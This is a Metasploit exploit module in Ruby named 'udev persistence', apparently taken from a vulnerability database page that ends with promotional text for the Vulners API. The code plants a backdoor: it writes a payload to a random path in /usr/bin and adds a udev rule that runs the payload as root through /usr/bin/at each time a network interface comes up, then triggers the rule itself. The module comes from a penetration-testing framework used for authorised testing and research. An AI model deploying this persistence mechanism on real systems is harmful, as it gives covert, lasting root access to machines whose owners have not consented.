##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = GreatRanking
include Msf::Post::File
include Msf::Post::Unix
def initialize(info = {})
super(
update_info(
info,
'Name' => 'udev persistence',
'Description' => %q{
This module will add a script in /lib/udev/rules.d/ in order to execute a payload written on disk.
It'll be executed with root privileges everytime a network interface other than l0 comes up.
},
'License' => MSF_LICENSE,
'Author' => [
'Julien Voisin'
],
'Platform' => [ 'unix', 'linux' ],
'Arch' => ARCH_CMD,
'SessionTypes' => [ 'shell', 'meterpreter' ],
'DefaultOptions' => { 'WfsDelay' => 90_000 },
'Targets' => [ ['Automatic', {}] ],
'DefaultTarget' => 0,
'DisclosureDate' => '1999-01-01',
'Passive' => true,
'Stance' => Msf::Exploit::Stance::Passive,
'Notes' => {
'Stability' => [],
'Reliability' => [EVENT_DEPENDENT],
'SideEffects' => [ARTIFACTS_ON_DISK]
},
'References' => [
['URL', 'https://www.aon.com/en/insights/cyber-labs/unveiling-sedexp'],
['URL', 'https://ch4ik0.github.io/en/posts/leveraging-Linux-udev-for-persistence/'],
]
)
)
register_options([
OptString.new('PAYLOAD_PATH', [false, 'The payload\'s path on disk', '']),
OptString.new('BACKDOOR_PATH', [false, 'The backdoor\'s path on disk', ''])
])
end
def get_command
unless executable? '/usr/bin/at'
fail_with Failure::BadConfig, 'The required /usr/bin/at binary was not found on the target'
end
%(/usr/bin/at -M -f #{@payload_path} now)
end
def exploit
@payload_path = datastore['PAYLOAD_PATH'].blank? ? '/usr/bin/' + Rex::Text.rand_text_alphanumeric(8) : datastore['PAYLOAD_PATH']
@backdoor_path = datastore['BACKDOOR_PATH'].blank? ? '/lib/udev/rules.d/' + Rex::Text.rand_text_numeric(2) + '-' + Rex::Text.rand_text_alphanumeric(8) + '.rules' : datastore['BACKDOOR_PATH']
unless writable? File.dirname(@backdoor_path)
fail_with Failure::BadConfig, "#{@backdoor_path} is not writable"
end
if exists? @backdoor_path
fail_with Failure::BadConfig, "#{@backdoor_path} is already present"
end
unless writable? File.dirname(@payload_path)
fail_with Failure::BadConfig, "#{@payload_path} is not writable"
end
if exists? @payload_path
fail_with Failure::BadConfig, "#{@payload_path} is already present"
end
upload_and_chmodx(@payload_path, "#!/bin/sh\n#{payload.encoded}")
print_status "#{@payload_path} written"
fail_with Failure::PayloadFailed, 'Failed to write UDEV file' unless write_file(@backdoor_path, %(SUBSYSTEM=="net", KERNEL!="lo", RUN+="#{get_command}"))
print_status "#{@backdoor_path} written"
# need to trigger first rule manually
print_status 'Triggering udev rule'
cmd_exec('udevadm trigger -v --subsystem-match=net')
stime = Time.now.to_f
timeout = datastore['ListenerTimeout'].to_i
loop do
break if timeout > 0 && (stime + timeout < Time.now.to_f)
Rex::ThreadSafe.sleep(1)
end
end
endData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation